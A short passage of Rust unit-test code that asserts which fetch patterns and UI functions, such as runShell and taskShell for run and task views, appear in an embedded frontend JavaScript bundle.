26265        assert!(!APP_JS.contains("Promise.allSettled([\n    getJson(API.run(id)), getText(API.report(id)), getJson(API.reportJson(id))"));
26266        assert!(APP_JS.contains("function nextRunRequest(id)"));
26267        assert!(APP_JS.contains("function runShell(id, summary)"));
26268        assert!(APP_JS.contains("function nextTaskRequest(id)"));
26269        assert!(APP_JS.contains("function taskShell(id, summary)"));
26270        assert!(APP_JS.contains("state.detail.reportLoading = false;"));
26271    }
26272}